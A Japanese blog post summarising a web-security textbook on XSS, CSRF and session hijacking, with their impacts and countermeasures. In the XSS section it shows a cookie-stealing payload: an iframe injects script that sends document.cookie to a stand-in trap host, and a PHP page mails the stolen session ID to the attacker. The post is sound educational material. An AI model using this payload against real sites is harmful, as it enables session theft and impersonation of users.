最近をこれを読んだのでいくつか有名な脆弱性をメモ。

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践

XSS攻撃(クロスサイト・スクリプティング)

他者のサイトへ悪意のあるscriptを流しこむ攻撃。
Webアプリケーションには外部から入力などに応じて表示が変化する箇所があり
この部分の実装に問題があるとXSSの脆弱性が生じる。

[影響]

  • 利用者のブラウザ上で攻撃者の用意したスクリプトの実行によりクッキー値を盗まれ、利用者が成りすましの被害にあう
  • 同じくブラウザ上でスクリプトを実行させられ、サイト利用者の権限でWebアプリケーションの機能を悪用される
  • Webサイト上に偽の入力フォームが表示され、フィッシングにより利用者が個人情報を盗まれる

[攻撃手法]

クッキー値の盗み出し

サイト利用者のブラウザ上で、攻撃者の用意したスクリプトの実行により
クッキー値を盗まれ、利用者が成りすましの被害にあう

代表的なとこでは クエリー or フォームのパラメータにスクリプトを挿入して実行する

1
keyword=<script>alert(document.cookie)</script>

ただ上記では、攻撃者本人のクッキーを表示するだけなので意味がなく
脆弱なサイトの正規利用者を罠サイトに誘導します

1
2
3
4
5
6
7
8
<html>
<body>
激安商品情報
<iframe width=320 height=100
src="http://example.jp/0001.php?keyword=<script>window.location='http://trap.example.com/0001.php?sid='%2Bdocument.cookie;</script>"
</iframe>
</body>
</html>
1
2
3
4
5
6
7
<?php
$sid = $_GET['sid'];
mb_send_mail('wasbook@example.jp', '攻撃成功', 'セッションID:' . $sid, 'From: hoge@trap.example.com')
?>
<body>攻撃成功</br>
<?php echo $sid; ?>
</body>
  1. 罠サイトのiframe内で脆弱なサイトが表示される
  2. 脆弱なサイトはXSS攻撃により、クッキー値をクエリー文字列につけて、情報収集ページに遷移する
  3. 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する

JavaScriptによる攻撃

同じくブラウザ上でスクリプトを実行させられ、サイト利用者の権限でWebアプリケーションの機能を悪用される

  • myspace.com: 特定のアカウントに友人を追加
  • Yahoo!メール: 感染者のアドレス帳の利用者に自分自身を送信
  • twitter: 感染者のプロフィールに自身をコピー
  • twitter: 自動ツイート、ポルノサイトへのリダイレクト

画面の書き換え

偽の罠サイトを作成して、本サイトへ改修するhtmlをpostで渡し画面を書き換え
本サイト上に偽りの入力フォームが表示され、フィッシングにより利用者が個人情報を盗まれる

[脆弱性が生まれる原因]

  • GetやPOST内容をバリデーションチェックしていない
  • 入力されたHTMLエスケープをしていない
  • 入力JavaScriptをエスケープしていない
  • タグを利用できる状態になってる

[対策]

  • 入力値の妥当性を検証するようにする

  • HTMLを扱う場合は以下のエスケープを入れる

    • 要素内容については「<」と「&」をエスケープする
    • 属性値については、ダブルクォートで囲って、「<」と「”」と「&」をエスケープする
  • 文字列リテラルとしてエスケープすべき文字

    • \ → \\
    • ‘ → \’
    • “ → \”
    • 改行 → \n
  • フロント「</」という文字列が出現しないようにする

  • クッキーにHttpOnly属性を付与する

    • クッキーの属性の1つにHttpOnlyがあり、JavaScriptからのクッキー読み出しを禁止できる

CSRF攻撃(クロスサイト・リクエストフォージュリ)

「重要な処理」を受付に際しては、利用者の意図したリクエストであることを確認する必要がありますが
この確認処理が抜けていると、罠のサイトなどを閲覧しただけで、利用者のブラウザから勝手に「重要な処理」を
実行させられる場合があります。

[影響]

  • 利用者のアカウントによる物品の購入
  • 利用者の退会処理
  • 利用者のアカウントによる掲示板への書き込み
  • 利用者のパスワードやメールアドレスの変更

[攻撃手法]

  1. 利用者がexample.jpにログインしている
  2. 攻撃者が罠サイトを用意する
  3. 利用者が罠サイトを閲覧する
  4. 罠サイトのJavaScriptにより、利用者のブラウザ上でexample.jpに
    新しいパスワードをPOSTメソッドにより送信する
    ※クッキーとして、example.jpのセッションIDが付与される
  5. パスワードが変更される

実際の攻撃では、攻撃の様子を隠すために、見えないiframeを使って罠を仕掛けます
この際に、iframeの外側(罠のドメイン)から内側(攻撃対象のドメイン)の内容は読み取ることができません。
このためCSRF攻撃では、攻撃対象サイトの重要な機能が、正規の利用者の権限により悪用されますが
その表示内容を読み取ることはできません。

[脆弱性が生まれる原因]

  • form要素のaction属性にはどのドメインのURLでも指定できる
  • クッキーに保管されたセッションIDは、対象サイトに自動的に送信される(認証された状態でリクエストされる)

[対策]

  • 秘密情報(CSRFトークン)の埋め込み
  • パスワード再入力
  • Refererのチェック

仮に攻撃された保険の対策として
登録済みメールアドレスに対して、処理内容の通知メールを送信することで
早期に気付けて被害を最小限にとどめることができる可能性があります。

CSRF攻撃とXSS攻撃の比較

CSRFとXSSは名前が似ているだけでなく、攻撃に至るシナリオが似ているが実際は異なります
CSRFはサーバ側の処理を悪用するもので、XSSは攻撃対象サイトへスクリプトを含むリクエストを行い
レスポンスでそのスクリプトがブラウザ上で実行されることで攻撃が起こします。

[CSRF攻撃]

  1. 利用者が罠サイトへリクエスト
  2. 罠サイトが仕掛けのあるHTMLをレスポンス
  3. 攻撃対象サイトへリクエスト

[XSS攻撃]

  1. 利用者が罠サイトへリクエスト
  2. 罠サイトが仕掛けのあるHTMLをレスポンス
  3. 攻撃対象サイトへリクエスト
  4. 仕掛けを含むレスポンス
  5. HTMLの改変、スクリプト実行

セッションハイジャック

第三者がセッションIDを悪用して成りすます攻撃。
なんらかの原因で、ある利用者のセッションIDが第三者に知られると
その利用者に成りすましてアクセスされる可能性があります。

[影響]

  • 利用者の重要情報(個人情報、メールなど)の閲覧
  • 利用者の持つ権限での操作(送金、物品購入など)
  • 利用者のIDによるメール、ブログなどへの投稿、設定の変更など

[攻撃手法]

  • セッションIDの推測
    • ある規則性を解読し、総当たりする方法  
  • セッションIDの盗み出し
    • 漏洩パターンとして
      • クッキー生成の際のセキュア属性の不備により漏洩する
      • ネットワーク的にセッションIDが盗聴される
      • XSSなどアプリケーションの脆弱性により漏洩
      • PHPやブラウザなどプラットフォームの脆弱性により漏洩
      • セッションIDをURLに保持している場合は、Refererヘッダから漏洩  
  • セッションIDの強制
    • サイトの脆弱性を利用してセッションIDは盗まずに攻撃者が知ってるセッションIDを利用者のブラウザに設定する

[脆弱性が生まれる原因]

  • アプリケーションにXSSの脆弱性がある場合
  • 推測可能な情報を元にセッションIDを生成している場合
  • セッションIDがURLのパラメータに含まれる原因は、不適切な設定あるいはプログラミング
  • セッションIDの強制が成立する原因としては、外部からセッションIDを設定できる場合

[対策]

  • セッションIDの推測対策として、セッション管理機構を自作せずWebアプリケーション開発ツールのものを使う
  • セッションIDはURLのパラメータなどに含めずクッキーにセッションIDは保存しましょう
  • セッションIDの強制の対策として、ログイン認証成功時にセッションIDを変更する
  • 攻撃者はセッションIDを盗めてもパスワードまではわからないのでパスワード入力も連携させると良い。

所感

これまでこうゆうセキュリティ関連の本はつまみ読みはしてたけどしっかり読んだことはありませんでした。
実はこの辺はあまり楽しくなくて新しい技術や好きなプログラムの本を読んでた方が楽しくて敬遠しがちになってたけど、
実際読んでみると脆弱性が生まれる原理を理解しておくとは非常に需要だと思いました。

というのも、脆弱性の原理を知っておくことでコードを書くときも今まで考慮しなかったことも意識するようなり
品質向上に繋がるし、設計やレビューのときにも事前に脆弱性を推測できるようなるからです。

あと、こうゆうよく聞くけど実はぼんやりとしか理解できていないことをなくすことの積み重ねが
エンジニアとして成長するためには重要と感じていて、ちょっと遠回りかもだけど
当たり前のことを当たり前のように理解できてるエンジニアになりたいものです。


X